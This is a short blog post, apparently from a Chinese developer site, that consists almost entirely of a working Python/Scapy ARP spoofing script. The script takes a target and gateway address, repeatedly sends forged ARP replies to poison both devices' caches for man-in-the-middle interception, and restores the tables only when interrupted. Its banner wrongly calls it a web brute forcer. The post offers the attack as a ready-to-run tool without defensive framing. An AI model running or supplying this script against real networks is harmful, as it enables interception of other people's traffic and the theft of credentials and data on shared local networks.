利用python编写的ARP欺骗攻击

from scapy.all import *
import sys
import time
import optparse

def get_args():
    parser = optparse.OptionParser(usage='<Prog -t target -g gateway>')
    parser.add_option('-t', '--target', dest='target', type='string', help="Specify IP of target")
    parser.add_option('-g', '--gateway', dest='gateway', type='string', help="Specify IP of gateway")
    options, args = parser.parse_args()
    if options.target is None:
        print(parser.usage)
        sys.exit()
    if options.gateway is None:
        print(parser.usage)
        sys.exit()

    return options.target, options.gateway

def banner():
    banner = """
                ****************************

                  Web Brute Forcer By Jason

                ****************************
        """
    print(banner)


class ArpSpoof:
    """
    Args:
    target: IP address of target to spoof attack
    gateway: IP addrss of gateway
    """

    def __init__(self, target, gateway):
        self.target = target
        self.gateway = gateway

    def get_mac(self, ip):
        packet = Ether(dst='ff:ff:ff:ff:ff:ff')/ARP(op=1,pdst=ip)
        res = srp(packet, verbose=False)
        return res[0].res[0][1].hwsrc
    
    def spoofer(self,ip1, ip2):
        ip1_mac = self.get_mac(ip1)
        ip2_mac = self.get_mac(ip2)
        packet1 = ARP(op=2,pdst=ip1,hwdst=ip1_mac, psrc=ip2)
        packet2 = ARP(op=2,pdst=ip2,hwdst=ip2_mac, psrc=ip1)
        send(packet1, verbose=False)
        send(packet2, verbose=False)

    def restore(self,ip1, ip2):
        ip1_mac = self.get_mac(ip1)
        ip2_mac = self.get_mac(ip2)
        packet1 = ARP(op=2,pdst=ip1,hwdst=ip1_mac, psrc=ip2, hwsrc=ip2_mac)
        packet2 = ARP(op=2,pdst=ip2,hwdst=ip2_mac, psrc=ip1, hwsrc=ip1_mac)
        send(packet1, verbose=False)
        send(packet2, verbose=False)
        
    
    def run(self):
        send_count = 0
        try:
            while True:
                self.spoofer(self.target, self.gateway)                
                send_count = send_count + 2
                print('\r Packet sent: %d' % send_count, end="")
                time.sleep(2)

        except KeyboardInterrupt:
            print("Exit the program and restore the network...")
            self.restore(self.target, self.gateway)
            self.restore(self.gateway, self.target)
            
            

if __name__ == '__main__':
    banner()
    target, gateway = get_args()
    arp_spoof = ArpSpoof(target, gateway)
    arp_spoof.run()

 

posted @ 2022-03-30 18:24  Jason_huawen  阅读(338)  评论(0编辑  收藏  举报